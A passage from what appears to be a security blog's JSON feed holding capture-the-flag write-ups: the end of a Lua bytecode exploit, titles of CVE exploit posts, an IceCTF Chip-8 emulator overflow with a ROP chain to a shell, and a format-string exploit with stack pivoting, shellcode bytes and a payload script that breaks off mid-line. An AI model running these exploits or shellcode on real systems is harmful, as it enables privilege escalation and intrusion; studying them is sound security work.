class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-lua\" data-lang=\"lua\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eCode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e-- function pointer (win=199) + type \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efakeFunction\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e199\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e22\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efakeUpvals\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mh\"\u003e0x0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeFunction\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efakeClosure\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeUpvals\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecrafted_func\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecraft_object\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeClosure\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecrafted_func\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mh\"\u003e0x1337\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eand\u0026hellip;\u003c/p\u003e\n\u003cimg src=\"alcawasm_win.png\" alt=\"AltText\"\u003e\u003ch2 id=\"wrapping-it-up\"\u003eWrapping it up\u003c/h2\u003e\n\u003cp\u003eSolving this challenge was true hacker enjoyment \u0026ndash; this is the joy of weird machines!\u003c/p\u003e\n\u003cp\u003eBefore closing this entry, I wanted to congratulate the author of the\nchallenge (and of the attached blogpost). It is rare to find content of this quality.\nPersonally, I think that the idea of preparing challenges as companion content for\nhacking writeups is a great honking ideas, and we should do more of it.\u003c/p\u003e\n\u003cp\u003eIn this blogpost, we hacked with interpreters, confusions, exploitation primitives and\nWASM internals. I hope you\u0026rsquo;ve enjoyed the ride, and I salute you until the next one.\u003c/p\u003e\n\u003cp\u003eEnjoy!\u003c/p\u003e\n","summary":"Gamedevs of the world, unite! Your favourite language is in danger \u0026ndash; the l33t wrongdoers have figured out how to BYOB (Bring Your Own Bytecode) and pwn the Lua v5.4 interpreter!","date_published":"2024-09-12T12:30:00+01:00"},{"id":"https://suidpit.sh/posts/2024-04-18-element-android-0day/","url":"https://suidpit.sh/posts/2024-04-18-element-android-0day/","title":"Element Android CVE-2024-26131, CVE-2024-26132 - Never take intents from strangers","content_html":"","summary":"Wild trips with intent redirections to compromise an end-to-end encrypted messaging chat.","date_published":"2024-04-18T12:30:00+01:00"},{"id":"https://suidpit.sh/posts/2024-01-30-asus-router-nday/","url":"https://suidpit.sh/posts/2024-01-30-asus-router-nday/","title":"Hunting for (Un?)authenticated n-days in Asus routers","content_html":"","summary":"Firmware analysis, reverse engineering and binary exploitation shenanigans on Asus routers.","date_published":"2024-01-30T12:30:00+01:00"},{"id":"https://suidpit.sh/posts/2023-10-23-shielder-orthanc/","url":"https://suidpit.sh/posts/2023-10-23-shielder-orthanc/","title":"CVE-2023-33466 - Exploiting healthcare servers with polyglot files","content_html":"","summary":"N-day exploit for Orthanc. Now featuring polyglot files!","date_published":"2023-10-23T12:30:00+01:00"},{"id":"https://suidpit.sh/posts/2018-09-15-icectftwitter/","url":"https://suidpit.sh/posts/2018-09-15-icectftwitter/","title":"IceCTF 2018 - Twitter writeup","content_html":"\u003ch2 id=\"tweeting-invaders\"\u003eTweeting Invaders\u003c/h2\u003e\n\u003cp\u003eBefore diving into exploit and vulnerabilities, I\u0026rsquo;ll take a little time to introduce the core concepts behind the challenge. The same key concepts which made this challenge so much fun, frustrating, and wait, did I say frustrating?\u003c/p\u003e\n\u003cp\u003eThe binary, \u003cem\u003etwitter\u003c/em\u003e, was basically an emulator to ROMs from the past which the challenge provided us\u0026hellip;Pong, Space Invaders and such, you know :)\u003c/p\u003e\n\u003cp\u003eA good run of reversing with IDA and some googling made me discover a whole world of passionate programmers of this language, \u003cem\u003eChip-8\u003c/em\u003e, emerged from the 70\u0026rsquo; to provide old devs and young devs a worthy way of spending a free night, and a couple beers.\u003c/p\u003e\n\u003cp\u003eAnd \u003cem\u003etwitter\u003c/em\u003e is just that, a Chip-8 interpreter written in c++ written by some passionate nerd :)\u003c/p\u003e\n\u003cimg src=\"icectftwitter_1.JPG\" alt=\"AltText1\"\u003e\u003cp\u003eSo, to properly follow and reproduce the writeup, I\u0026rsquo;d encourage you to go and take a quick read of the \u003ca href=\"http://devernay.free.fr/hacks/chip8/C8TECH10.HTM\"\u003e\u003cem\u003eChip-8 Instruction Set\u003c/em\u003e\u003c/a\u003e \u0026ndash; I\u0026rsquo;ll refer to that in what follows.\u003c/p\u003e\n\u003cp\u003eMoreover, to successfully write my custom ROM and exploit the vulnerability I used \u003ca href=\"https://github.com/mwales/chip8/tree/master/chipper\"\u003e\u003cem\u003echipper\u003c/em\u003e\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"binary-analysis\"\u003eBinary Analysis\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"icectftwitter_2.JPG\" alt=\"AltText1\"\u003e\n\u003cimg src=\"icectftwitter_3.JPG\" alt=\"AltText1\"\u003e\u003c/p\u003e\n\u003cp\u003eThe binary is NX, so we need to use some ROP technique to exploit it.\nWith PIE option, dynamic linking, and ASLR, not a single address in memory will be loaded in a deterministic fashion. We will definitely need some leak.\u003c/p\u003e\n\u003ch2 id=\"the-vulnerability\"\u003eThe Vulnerability\u003c/h2\u003e\n\u003cp\u003eChip-8 accesses its RAM through a dedicated register named \u003cem\u003eIndex Register\u003c/em\u003e, or \u003cstrong\u003eI\u003c/strong\u003e.\u003c/p\u003e\n\u003cp\u003eAn 8-bit register wouldn\u0026rsquo;t be enough to address the whole content of its memory, which is historically (and modern interpreters follow the same convention) large 4K, so that the \u003cem\u003eIndex\u003c/em\u003e is large 16-bit \u0026ndash; with 4K, only 12 of which are used.\u003c/p\u003e\n\u003cp\u003eMy bet was that, in our given interpreter binary, the check to avoid that \u003cem\u003eIndex\u003c/em\u003e register didn\u0026rsquo;t address anything larger than 4K was faulty; so I could write custom instructions to read and write from areas of memory used by the interpreter, out of the dedicated environment. A quick run with a Proof-Of-Concept ROM confirmed the vulnerability.\u003c/p\u003e\n\u003cp\u003e\u003cem\u003eoverflow.asm\u003c/em\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eoption binary\nalign off\n\nld I, #FFF\nld v0, #42\nld v1, #4F\nld v2, #4F\nld v3, #42\nld v4, #10\n\n(add I, v4\nld [I], v3)*a lot of times\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eStanding to the \u003ca href=\"http://devernay.free.fr/hacks/chip8/C8TECH10.HTM\"\u003eChip8 Instruction Set\u003c/a\u003e, what I\u0026rsquo;m doing here is:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLoading the index register with the highest address in memory (0xFFF);\u003c/li\u003e\n\u003cli\u003eLoading registers v0 thru v3 with the word \u003cem\u003eBOOB\u003c/em\u003e;\u003c/li\u003e\n\u003cli\u003eIncrement I by 16, and write BOOB over memory, \u003cstrong\u003ea lot of times\u003c/strong\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ccode\u003e./chipper overflow.rom overflow.asm\u003c/code\u003e\u003c/p\u003e\n\u003cimg src=\"icectftwitter_4.JPG\" alt=\"AltText1\"\u003e\u003cp\u003eWe basically have a \u003cstrong\u003ebuffer overflow\u003c/strong\u003e here, where the buffer is represented by the 4KB allocated to the environment. Moreover, we can issue \u003cstrong\u003eread and write operations from arbitrary areas of memory\u003c/strong\u003e up to 2^16 bytes starting from the buffer.\u003c/p\u003e\n\u003ch2 id=\"the-exploit\"\u003eThe Exploit\u003c/h2\u003e\n\u003cp\u003eAgain, we need a leak.\nBut really, when you have the chance to write and read an arbitrary number of times to/from memory, you will pretty much always find something to make good use of.\u003c/p\u003e\n\u003cimg src=\"icectftwitter_5.JPG\" alt=\"AltText1\"\u003e\u003cp\u003eMy strategy here was:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eExamine saved return addresses with \u003cem\u003ebacktrace\u003c/em\u003e;\u003c/li\u003e\n\u003cli\u003eSearch in memory to find where they are stored;\u003c/li\u003e\n\u003cli\u003eExplore neighbour stack addresses;\nDoing so, I find that some addresses after \u003cem\u003emain\u003c/em\u003e saved return address in memory are filled with addresses relative to \u003ccode\u003e__libc_start_main\u003c/code\u003e and \u003ccode\u003e__libc_csu_init\u003c/code\u003e. I have my leaks. With these, I can compute relative addresses to ROPgadgets and libc functions, thus pwning the binary.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe exploit works as follows:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLeak the two address I need for libc and ROP;\u003c/li\u003e\n\u003cli\u003eCompute addresses of gadgets and \u003cem\u003eret2libc\u003c/em\u003e through relative offsets, found through gdb on target machine;\u003c/li\u003e\n\u003cli\u003eBuild the ROPchain:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ccode\u003ePOPRSI | 1337 | POPRDI | 1337 | SETREUID | POPRDI | /bin/sh ADDRESS | SYSTEM | EXIT\u003c/code\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eOverwrite saved return address and follow with ROP.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAll of this has to be written in Chip-8 instructions. The steps above have been adapted to reflect architectural limits such as number of GP registers :)\u003c/p\u003e\n\u003cp\u003eLots of fun to be had with challenges like these. All in all, the attack was quite basic:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cem\u003eFind a leak\u003c/em\u003e\u003c/li\u003e\n\u003cli\u003e\u003cem\u003eCompute offsets\u003c/em\u003e\u003c/li\u003e\n\u003cli\u003e\u003cem\u003eWrite ROPchain\u003c/em\u003e\u003c/li\u003e\n\u003cli\u003e\u003cem\u003eOverwrite saved ret address\u003c/em\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eBut nevertheless, finding and exploiting the vulnerability on such a nerdy architecture proved to be extremely rewarding \u0026ndash; 800 pts :)\u003c/p\u003e\n\u003cp\u003eYou can inspect the final asm code \u003ca href=\"https://github.com/pwnthemole/ctfs/blob/master/icectf2018/twitter/REMOTEPWN.asm\"\u003eHERE!\u003c/a\u003e\u003c/p\u003e\n\u003cimg src=\"icectftwitter_6.JPG\" alt=\"AltText1\"\u003e","summary":"You can play 8-bit emulators if you want, but isn\u0026rsquo;t it pwning them more fun?","date_published":"2018-09-15T12:30:00+01:00"},{"id":"https://suidpit.sh/posts/2018-09-14-icectffermat/","url":"https://suidpit.sh/posts/2018-09-14-icectffermat/","title":"IceCTF 2018 - Fermat string writeup","content_html":"\u003ch1 id=\"does-size-matter\"\u003eDoes size matter?\u003c/h1\u003e\n\u003cp\u003eThe challenge description gives us some hint about Format Strings attacks, and the ability to exploit their phenomenal powers\u0026hellip;in a Itty-Bitty living space :) [\u0026hellip;\u003cem\u003ea margin of paper\u003c/em\u003e]\u003c/p\u003e\n\u003ch2 id=\"some-analysis\"\u003eSome Analysis\u003c/h2\u003e\n\u003cp\u003eWhich kind of beast are we facing? A run of \u003ccode\u003echecksec\u003c/code\u003e and \u003ccode\u003efile\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"icectffermat_1.JPG\" alt=\"AltText\"\u003e\n\u003cimg src=\"icectffermat_2.JPG\" alt=\"AltText\"\u003e\u003c/p\u003e\n\u003cp\u003eWith PIE disabled, and the binary statically linked, we basically have\nevery address we desire carved in a stone. Running multiple times the binary in target machine, with gdb \u003ccode\u003eset disable-randomization off\u003c/code\u003e, also confirms that stack addresses are stable during different runs.\u003c/p\u003e\n\u003cp\u003eThis time, we do have the source code to analyze. Let\u0026rsquo;s take a look.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e#define _GNU_SOURCE\n#include \u0026lt;stdio.h\u0026gt;\n#include \u0026lt;stdlib.h\u0026gt;\n#include \u0026lt;string.h\u0026gt;\n#include \u0026lt;unistd.h\u0026gt;\n#include \u0026lt;sys/types.h\u0026gt;\n\n\nvoid welcome(void)\n{\n\tchar *user = getenv(\u0026#34;USER\u0026#34;);\n\tchar buf[1000 + (user != NULL ? strlen(user) : 0)];\n\tmemset (buf, 0, sizeof(buf));\n\tsnprintf (buf, sizeof(buf), \u0026#34;Welcome to Fermat\u0026#39;s Last Exploit, %s!\u0026#34;, user);\n\tprintf (\u0026#34;%s\u0026#34;, buf); /* Careful */\n}\n\n\nvoid payload(char *input) {\n    char buf[16];\n    int i, cnt = -1;\n\n    welcome();\n\n    /* Make sure input isn\u0026#39;t too long */\n    if (strlen (input) \u0026gt; 7)\n    {\n    \tfprintf (stderr, \u0026#34;Your payload is too large!\\n\u0026#34;);\n    \treturn;\n    }\n\n\n    /* Ensure there aren\u0026#39;t any rogue format string conversions in here */\n    for (i = 0; i \u0026lt; strlen(input); i++)\n    {\n    \tif (input[i] == \u0026#39;%\u0026#39;)\n\t\tcnt++;\n    }\n    if (cnt \u0026gt; 0)\n    {\n    \tfprintf (stderr, \u0026#34;No `%%\u0026#39; characters allowed!\\n\u0026#34;);\n    \treturn;\n    }\n\n    memset (buf, 0, sizeof(buf));\n    /* Avoid security problems by checking length, just in case */\n    strncpy (buf, input, sizeof(buf)-1);\n    printf (buf);\n}\n\n\n\nvoid dispatch(int argc, char **argv)\n{\n    if (argc \u0026gt; 1){\n        payload (argv[1]);\n    } else {\n        printf(\u0026#34;Usage: %s \u0026lt;payload\u0026gt;\\n\u0026#34;, argv[0]);\n    }\n}\n\nint main(int argc, char **argv) {\n    dispatch (argc, argv);\n\n    return 0;\n}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eWe can provide two kinds of inputs:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003einput\u003c/code\u003e, which will be delivered as \u003cstrong\u003eargv[1]\u003c/strong\u003e via command line.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eUSER\u003c/code\u003e, via environment variable.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"about-input\"\u003eAbout \u003ccode\u003einput\u003c/code\u003e\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eint i, cnt = -1;\n...\n...\n/* Ensure there aren\u0026#39;t any rogue format string conversions in here */\n    for (i = 0; i \u0026lt; strlen(input); i++)\n    {\n        if (input[i] == \u0026#39;%\u0026#39;)\n        cnt++;\n    }\n    if (cnt \u0026gt; 0)\n    {\n        fprintf (stderr, \u0026#34;No `%%\u0026#39; characters allowed!\\n\u0026#34;);\n        return;\n    }\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIt is clear that the protection mechanism will be triggered with at least two uses of \u0026lsquo;%\u0026rsquo; character. So we have only one format specifier to shoot.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/* Make sure input isn\u0026#39;t too long */\n    if (strlen (input) \u0026gt; 7)\n    {\n        fprintf (stderr, \u0026#34;Your payload is too large!\\n\u0026#34;);\n        return;\n    }\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eHere it is, our tiny margin of space. Length of the string cannot seemingly exceed 7 characters.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ememset (buf, 0, sizeof(buf));\n/* Avoid security problems by checking length, just in case */\nstrncpy (buf, input, sizeof(buf)-1);\nprintf (buf);\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAt last, a \u003ca href=\"https://www.owasp.org/index.php/Format_string_attack\"\u003eformat string\u003c/a\u003e vulnerability!\u003c/p\u003e\n\u003ch3 id=\"about-user\"\u003eAbout \u003ccode\u003eUSER\u003c/code\u003e\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003echar buf[1000 + (user != NULL ? strlen(user) : 0)];\n...\n...\nsnprintf (buf, sizeof(buf), \u0026#34;Welcome to Fermat\u0026#39;s Last Exploit, %s!\u0026#34;, user);\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe buffer grows together with the length of our env input. This means we can stretch it quite a lot :)\u003c/p\u003e\n\u003ch2 id=\"planning-the-attack\"\u003ePlanning The Attack\u003c/h2\u003e\n\u003cp\u003eNX enabled, PIE disabled, binary is statically linked. We have a way to write over memory (\u003cstrong\u003eformat strings\u003c/strong\u003e) and a way to fill the stack with arbitrary input (\u003cstrong\u003e\u003ccode\u003eUSER\u003c/code\u003e env variable copied in buf\u003c/strong\u003e). We have static address for pretty much everything.\u003c/p\u003e\n\u003cp\u003eI have a clear goal in mind:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ePlace in \u003ccode\u003eUSER\u003c/code\u003e a payload composed of:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003eA ROPchain calling \u003ccode\u003emprotect()\u003c/code\u003e to enable RWX permissions on a stack page;\u003c/li\u003e\n\u003cli\u003eA shellcode to \u003ccode\u003esetreuid(1337, 1337)\u003c/code\u003e \u0026amp; \u003ccode\u003eexecve(\u0026quot;/bin/sh\u0026quot;, NULL, NULL)\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003eExploit the format string vulnerability to jump to my previously placed payload.\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch4 id=\"note\"\u003e\u003cem\u003eNOTE\u003c/em\u003e\u003c/h4\u003e\n\u003cp\u003eThe reason I need \u003ccode\u003esetreuid(1337, 1337)\u003c/code\u003e lays in how Linux and bash handle permissions. \u003ccode\u003efermat\u003c/code\u003e binary is owned by \u003ccode\u003etarget\u003c/code\u003e user, with setuid bit enabled. This means that every user running the binary will run it with owner permissions, which we need to read the flag.\u003c/p\u003e\n\u003cp\u003eHowever, in our target machine, \u003ccode\u003e/bin/sh\u003c/code\u003e links to \u003ccode\u003e/bin/bash\u003c/code\u003e, and for security reasons the latter drops suid privileges when executed.\u003c/p\u003e\n\u003cp\u003eThe solution to this is to call \u003ccode\u003esetreuid()\u003c/code\u003e, which sets our \u003cstrong\u003ereal_id\u003c/strong\u003e to be equal to our current \u003cstrong\u003eeffective_id\u003c/strong\u003e. Linux manual is there for more informations on the argument :)\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eSo, back to the business\u0026hellip;I need a reliable way to start my ROPchain.\u003c/p\u003e\n\u003cp\u003eIn technical words, this means that \u003ccode\u003eESP\u003c/code\u003e register must point to the beginning of the fake stack I have injected via \u003ccode\u003eUSER\u003c/code\u003e variable,\nand \u003ccode\u003eEIP\u003c/code\u003e register must point to a \u003ccode\u003eret\u003c/code\u003e instruction.\u003c/p\u003e\n\u003cp\u003eTo keep things short, I\u0026rsquo;ll explain here how I managed to obtain the above, together with the exploit. For your information, getting to that solution required a lot of trial and error, and searching thru the stack and text section with GDB.\u003c/p\u003e\n\u003ch3 id=\"the-exploit\"\u003eThe Exploit\u003c/h3\u003e\n\u003cp\u003eLet\u0026rsquo;s see how to use our format string vulnerability.\nThis is a snapshot of memory layout when hitting the vulnerable \u003ccode\u003eprintf()\u003c/code\u003e:\u003c/p\u003e\n\u003cimg src=\"icectffermat_3.JPG\" alt=\"AltText\"\u003e\u003cp\u003eLooking at output from \u003ccode\u003ebt\u003c/code\u003e and \u003ccode\u003estack\u003c/code\u003e we can examine the how stack frames where formed.\nWe are in function \u003ccode\u003epayload()\u003c/code\u003e, and there on the stack we have:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eSaved EBP and Saved EIP (pointing to \u003ccode\u003edispatch + 40\u003c/code\u003e) to restore \u003ccode\u003edispatch\u003c/code\u003e;\u003c/li\u003e\n\u003cli\u003eSaved EBP and Saved EIP (pointing to \u003ccode\u003emain + 42\u003c/code\u003e) to restore \u003ccode\u003emain\u003c/code\u003e;\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eWe will use a \u003cem\u003estack pivoting\u003c/em\u003e technique to make \u003ccode\u003eESP\u003c/code\u003e point to our fake stack.\u003c/p\u003e\n\u003cp\u003eThe idea is to overwrite Saved EBP in \u003ccode\u003edispatch\u003c/code\u003e frame, at address \u003ccode\u003e0xffffd5a8\u003c/code\u003e, to point to our payload injected in \u003ccode\u003ewelcome()\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eHow? We have 7 characters.\u003c/p\u003e\n\u003cp\u003eThe following input: \u003ccode\u003e%14$hn\u003c/code\u003e writes 0 in the two bytes starting at the address pointed by the 14th word after the format string.\u003c/p\u003e\n\u003cp\u003eIn practice:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLooking back at the image, the 14th word after the format string is at address \u003ccode\u003e0xffffd588\u003c/code\u003e;\u003c/li\u003e\n\u003cli\u003eThis address points to \u003ccode\u003e0xffffd5a8\u003c/code\u003e;\u003c/li\u003e\n\u003cli\u003eSo, our format string will write 0x0 into \u003ccode\u003e0xffffd5a8\u003c/code\u003e and \u003ccode\u003e0xffffd5a9\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003ePreviously, \u003ccode\u003e0xffffd5a8\u003c/code\u003e contained value \u003ccode\u003e0xffffd5c8\u003c/code\u003e;\u003c/li\u003e\n\u003cli\u003eAfter \u003ccode\u003eprintf()\u003c/code\u003e, it will contain value \u003ccode\u003e0xffff0000\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eNow, remember the \u003ccode\u003ewelcome()\u003c/code\u003e function? Thanks to that function, we can write a huge payload into memory, and buffer will grow (in stack, so towards lower addresses), so that we can make the area now written in Saved BP (\u003ccode\u003e0xffff0000\u003c/code\u003e) pointing to our payload.\u003c/p\u003e\n\u003cp\u003eNow I needed to find a way to write that value into \u003ccode\u003eESP\u003c/code\u003e and trigger the ROPChain.\u003c/p\u003e\n\u003cp\u003eThe trick to trigger stack pivoting is using the two \u003ccode\u003eleave\u003c/code\u003e instruction in \u003ccode\u003edispatch\u003c/code\u003e and \u003ccode\u003emain\u003c/code\u003e:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe first \u003ccode\u003eleave\u003c/code\u003e moves \u003ccode\u003eESP\u003c/code\u003e to current \u003ccode\u003eEBP\u003c/code\u003e, then copies our overwritten SBP into \u003ccode\u003eEBP\u003c/code\u003e;\u003c/li\u003e\n\u003cli\u003eThe second \u003ccode\u003eleave\u003c/code\u003e moves \u003ccode\u003eESP\u003c/code\u003e to current \u003ccode\u003eEBP\u003c/code\u003e - \u003cstrong\u003ewhich we injected in the previous frame\u003c/strong\u003e - then pops the SBP into EBP, but this doesn\u0026rsquo;t matter since ESP points to our payload now :)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI slightly modified this approach because of these instructions in \u003ccode\u003emain\u003c/code\u003e:\u003c/p\u003e\n\u003cimg src=\"icectffermat_4.JPG\" alt=\"AltText\"\u003e\u003cp\u003eFollowing \u003ccode\u003eleave\u003c/code\u003e,\nthe value in memory pointed by \u003ccode\u003eecx - 4\u003c/code\u003e is moved into \u003ccode\u003eesp\u003c/code\u003e. Luckily, we can control the content of \u003ccode\u003eecx\u003c/code\u003e, since it is loaded in:\n\u003ccode\u003emov ecx, DWORD PTR [ebp - 0x4]\u003c/code\u003e, and \u003ccode\u003eebp\u003c/code\u003e is already pointing to our fake stack.\u003c/p\u003e\n\u003cp\u003eThe rest of the work has just been writing a ROPchain which didn\u0026rsquo;t contain NULL bytes (that couldn\u0026rsquo;t reside in \u003ccode\u003eenv\u003c/code\u003e) \u0026ndash; but since the binary is statically linked, I have a whole load of ROP gadgets already linked to binary, found with \u003ccode\u003eropper\u003c/code\u003e \u0026ndash; and carefully computing addresses inside and outside gdb. Here, the script to generate the payload, which I used in target machine with:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eUSER=$(python exploit.py) ./fermat \u0026quot;%14\\$hn\u0026quot;\u003c/code\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eimport struct\n\ndef p32(address):\n  return struct.pack(\u0026#34;I\u0026#34;, address)\n\n# To compute addresses to store args to mprotect\nmprotect_base = 0xffff105c\n# mprotect requires a page aligned boundary\nstackpage_base = 0xffff1000\n# setreuid(geteuid(), geteuid()) \u0026amp;\u0026amp; execve(\u0026#34;/bin//sh\u0026#34;, NULL, NULL)\nshellcode = \u0026#34;\\x6a\\x31\\x58\\x99\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x6a\\x46\u0026#34;\nshellcode += \u0026#34;\\x58\\xcd\\x80\\xb0\\x0b\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\u0026#34;\nshellcode += \u0026#34;\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x89\\xd1\\xcd\\x80\u0026#34;\n\n\nmovdpedx = 0x08055a2b # mov dword ptr [edx], eax; ret\nxoreax = 0x08049743 # xor eax, eax; ret\ninceax = 0x0807f1bf # inc eax; ret\npopedx = 0x08073bda # pop edx; ret\npopeax = 0x080bd026 # pop eax; ret\nmprotect = 0x8072c50 # address to mprotect\n\n# The ropchain computes args to mprotect and pushes them\n# to the right address in fake stack, which is after mprotect_base.\n# mprotect_base is a value I have computed by trial, looking\n# at where, after payload injection, mprotect address was loaded\n# into fake stack.\n\nropchain = p32(popedx) + 